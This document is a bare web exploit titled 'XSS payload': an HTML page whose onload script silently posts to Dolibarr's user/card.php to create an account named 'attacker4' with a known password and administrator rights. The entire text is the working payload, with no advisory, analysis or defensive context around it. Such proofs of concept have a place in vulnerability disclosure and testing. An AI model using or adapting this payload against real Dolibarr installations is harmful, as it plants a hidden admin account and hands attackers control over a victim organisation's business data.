XSS PAYLOAD

```
<html>
<script type="text/javascript">
function send() {
var xhr = new XMLHttpRequest();
 xhr.open("POST", "/dolibarr/user/card.php", true);
 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

xhr.send("token=&action=add&entity=1&lastname=attacker4&firstname=&login=attacker4&password=attacker&api_key=&admin=1&gender=-1&employee=1&fk_user=-
1&address=&zipcode=&town=&country_id=&state_id=0&office_phone=&user_mobile=&office_fax=&email=&accountancy_code=&note=&signature=&job=&thm=&tjm=&salary=&weeklyhours=&dateemployment=&dateemploymentday=&dateemploymentmonth=&dateemploymentyear=&dateemploymentend=&dateemploymentendday=&dateemploymentendmonth=&dateemploymentendyear=&birth=&birthday=&birthmonth=&birthyear=&create=Create+user");
}

</script>

<h1>XSS payload</h1>
<body onload ="send()">
</html>
```